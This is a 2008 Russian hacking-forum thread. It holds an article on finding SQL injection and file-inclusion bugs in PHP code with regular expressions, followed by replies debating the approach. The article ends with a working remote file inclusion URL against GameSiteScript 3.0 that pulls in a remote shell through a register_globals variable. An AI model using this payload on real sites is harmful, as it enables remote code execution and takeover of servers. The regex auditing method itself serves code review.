ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Использование регулярных выражений при поиске уязвимостей php
  #1  
Старый 09.02.2008, 22:51
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию Использование регулярных выражений при поиске уязвимостей php


Поиск уязвимостей с помощью регулярных выражений.

Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
Итак, начнем.

1. Чем искать

Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench


Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.

Скачать: http://silveragesoftware.com/ftp/HFF...benchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...

Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench

2. Как искать

Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :

SQL injection

Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :

Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)

Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*

PHP include

Тут все гораздо проще

Вероятно, что бага есть (GPC переменная входит в инклуд) :

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
Менее вероятно, что бага есть (когда в инклуд входит переменная) :

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
3. Пример

В качестве скрипта для примера возьму GameSiteScript 3.0

Скачать и посмотреть описание можно тут

Вводим поиск на маловероятный php include

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
И смотрим результаты...

Вот один из них



Смотрим код файла
\plugins\site\themes\21\smallbox.php

PHP код:
<?php

$menunames 
explode("|"$themecfg['boxcontentorder']);

echo 
"<tr>";
$i 0;
foreach (
$menunames as $menuname) {
    if (
$i%2==&& $i!=0) {
        echo 
"</tr><tr>";
    }

    include 
$menuname."box.php";

    
$i++;

}
echo 
"</tr>";

?>

Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.


Итог: найдена новая RFI уязвимость

Код:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?

PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.

Последний раз редактировалось Macro; 10.02.2008 в 00:52..
 
Ответить с цитированием

  #2  
Старый 09.02.2008, 23:27
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

имхо такими методами ты пропустишь больше уязвимостей чем найдешь.. а еще ложные срабатывания..

проще уже весь сорс взять и изучить..
очень удобно, кстати, использовать редактор с развитой подсветкой синтаксиса - выделяешь в нем ярким цветом потенициально опасные функции и т.п., и при беглом осмотре они сразу бросаются в глаза.. а там уже разбираешься.. )
 
Ответить с цитированием

  #3  
Старый 09.02.2008, 23:45
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Цитата:
Сообщение от Digimortal  
имхо такими методами ты пропустишь больше уязвимостей чем найдешь.. а еще ложные срабатывания..

проще уже весь сорс взять и изучить..
Изучи-ка сорс эдак в 5 мб.... Кроме того, я же не говорил, что это единственный адекватный способ поиска багов. Если баги так не нашлись - мозги и notepad++ в руки - и изучать дальше. Но в большинстве случаев достаточно лишь грамотного регулярного выражения. Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей.
 
Ответить с цитированием

  #4  
Старый 09.02.2008, 23:47
Аватар для Talisman
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию

+1 я опасные функции подсвечиваю
 
Ответить с цитированием

  #5  
Старый 10.02.2008, 00:02
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench
 
Ответить с цитированием

  #6  
Старый 10.02.2008, 00:10
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> Изучи-ка сорс эдак в 5 мб....

если будет необходимо, то почему бы и нет? ))

>> Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей.

ну, это боян еще тот.. и его тут по-моему уже не раз успели представить.. )

зачем тут тебе пригодилась шареваре-программка от славы васильева мне вообще непонятно - проще уж все это в виде собственного скрипта реализовать (хотя подобных уже итак дофига есть)..
 
Ответить с цитированием

  #7  
Старый 10.02.2008, 00:15
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Цитата:
Сообщение от Digimortal  
>> Изучи-ка сорс эдак в 5 мб....

если будет необходимо, то почему бы и нет? ))

>> Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей.

ну, это боян еще тот.. и его тут по-моему уже не раз успели представить.. )

зачем тут тебе пригодилась шареваре-программка от славы васильева мне вообще непонятно - проще уж все это в виде собственного скрипта реализовать (хотя подобных уже итак дофига есть)..
ПОчему бы и нет? Потому что умереть успеешь быстрее.

Из подобного видел только php bug scanner by Razor, но там несколько иначе. Не видел ничего подобного нигде. Покажи.

Программка имхо одна из самых лучших помощников программиста. Реализовать в виде скрипта может и проще, но не дает свободы действий. Кроме того, смысл писать то, что уже реализовано в приличном варианте?
 
Ответить с цитированием

  #8  
Старый 10.02.2008, 00:32
Аватар для Talisman
Talisman
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме:
1325772

Репутация: 517


Отправить сообщение для Talisman с помощью ICQ
По умолчанию

обычно сорсы много весят из-за картинок а сами сценарии не такие уж и тяжелые.
 
Ответить с цитированием

  #9  
Старый 10.02.2008, 00:39
Аватар для Alexsize
Alexsize
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме:
9089375

Репутация: 4268


По умолчанию

Цитата:
Сообщение от Talisman  
обычно сорсы много весят из-за картинок а сами сценарии не такие уж и тяжелые.
Ты битрикс никогда не ковырял например?
 
Ответить с цитированием

  #10  
Старый 10.02.2008, 00:43
Аватар для DIAgen
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


По умолчанию

Цитата:
Сообщение от Alexsize  
Ты битрикс никогда не ковырял например?
Ящик пива, блок сигарет, и за работу


---Скорее уж веревку мыло и в туалет
Alexsize

Последний раз редактировалось Alexsize; 10.02.2008 в 00:48..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ